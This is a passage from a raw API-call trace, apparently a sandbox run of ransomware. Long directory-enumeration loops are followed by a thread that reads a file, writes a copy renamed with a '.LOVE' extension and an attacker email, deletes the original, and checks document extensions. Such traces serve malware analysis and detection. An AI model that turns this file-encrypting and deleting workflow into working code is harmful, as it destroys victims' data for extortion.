hHeap=0x790000) returned 1 [0220.483] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.495] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.495] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.498] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.498] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.500] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.500] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.508] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.508] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.511] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.511] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.514] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.514] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.516] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.516] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.522] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.522] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.526] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.526] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.535] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.535] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.537] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.537] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.540] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.540] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.666] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.666] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.677] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.677] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.680] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.680] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.680] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.680] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.682] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.682] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.682] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.682] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.682] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.682] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.682] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.682] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.682] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.682] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.683] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.683] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.685] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.685] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.685] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.685] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.686] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.686] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.687] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.687] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.687] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.687] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.688] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.688] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.689] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.689] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.690] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.690] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.690] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.690] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.691] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.691] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.691] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.691] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.691] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.691] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.693] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.693] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.693] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.693] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.695] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.695] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.695] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.695] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.695] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.695] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.696] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.696] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.697] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.697] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.698] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.698] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.698] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.698] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.699] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.700] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.700] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.700] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.700] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.701] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.701] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.702] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.702] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.703] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.703] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.704] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.704] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.705] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.705] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.707] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.707] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.707] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.707] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.708] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.708] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.709] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.709] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.710] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.710] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.711] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.711] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0220.712] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0220.712] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 0 [0220.713] FindClose (in: hFindFile=0x7eb8a8 | out: hFindFile=0x7eb8a8) returned 1 [0220.713] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.714] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.734] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.734] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.809] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.810] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.841] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.841] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.894] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.894] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.955] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.955] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.962] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.962] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.996] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.996] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0221.139] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0221.139] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0221.183] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0221.183] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0221.315] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0221.315] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0221.440] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0221.440] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0221.442] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0221.442] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0221.568] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0221.568] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0221.616] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0221.616] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 0 [0221.616] FindClose (in: hFindFile=0x7ebc28 | out: hFindFile=0x7ebc28) returned 1 [0221.616] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0221.616] FindNextFileW (in: hFindFile=0x7ebb28, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0221.617] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43a1458 | out: hHeap=0x790000) returned 1 [0221.620] FindNextFileW (in: hFindFile=0x7eb768, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0221.655] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0221.655] FindNextFileW (in: hFindFile=0x7eb9e8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0221.848] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0221.848] FindNextFileW (in: hFindFile=0x7eb9e8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 0 [0221.848] FindClose (in: hFindFile=0x7eb9e8 | out: hFindFile=0x7eb9e8) returned 1 [0221.848] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0221.855] FindNextFileW (in: hFindFile=0x7eb768, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0221.951] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0221.951] FindNextFileW (in: hFindFile=0x7eb768, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0222.071] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0222.071] FindNextFileW (in: hFindFile=0x7eb768, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0222.947] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0222.947] FindNextFileW (in: hFindFile=0x7ebe28, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0222.948] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0222.948] FindNextFileW (in: hFindFile=0x7eb768, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 Thread: id = 18 os_tid = 0xaf0 [0194.570] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3c70938 [0194.570] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3c80940 [0194.571] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee020 [0194.571] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7ec3f0 [0194.571] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee050 [0194.571] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x3d5d020 [0194.573] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edd68 [0194.573] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edd68, Size=0x20) returned 0x7e0610 [0194.573] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edd68 [0194.573] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edd68, Size=0x20) returned 0x7e0660 [0194.573] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0194.573] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0194.574] Wow64DisableWow64FsRedirection (in: OldValue=0x301ff50 | out: OldValue=0x301ff50*=0x0) returned 1 [0194.574] lstrlenW (lpString="kernel32.dll") returned 12 [0194.574] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0610 | out: hHeap=0x790000) returned 1 [0194.574] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0194.574] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0660 | out: hHeap=0x790000) returned 1 [0194.574] Sleep (dwMilliseconds=0x64) [0194.785] Sleep (dwMilliseconds=0x64) [0195.091] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.091] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0195.091] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0195.100] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=144072) returned 1 [0195.101] CloseHandle (hObject=0x2ac) returned 1 [0195.101] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0195.101] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.101] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0195.101] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.101] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.101] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0195.101] GetLastError () returned 0x0 [0195.101] ReadFile (in: hFile=0x2ac, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x232c8, lpOverlapped=0x0) returned 1 [0195.129] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x232d0, lpOverlapped=0x0) returned 1 [0195.132] ReadFile (in: hFile=0x2ac, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.132] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.132] SetEndOfFile (hFile=0x2b8) returned 1 [0195.132] CloseHandle (hObject=0x2b8) returned 1 [0195.138] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.138] SetEndOfFile (hFile=0x2ac) returned 1 [0195.140] CloseHandle (hObject=0x2ac) returned 1 [0195.140] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0195.140] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0195.141] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0195.141] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0195.141] lstrlenW (lpString=".doc") returned 4 [0195.141] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.141] lstrlenW (lpString=".docx") returned 5 [0195.141] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0195.141] lstrlenW (lpString=".pdf") returned 4 [0195.141] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.141] lstrlenW (lpString=".xls") returned 4 [0195.141] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.141] lstrlenW (lpString=".xlsx") returned 5 [0195.141] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0195.141] lstrlenW (lpString=".ppt") returned 4 [0195.141] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 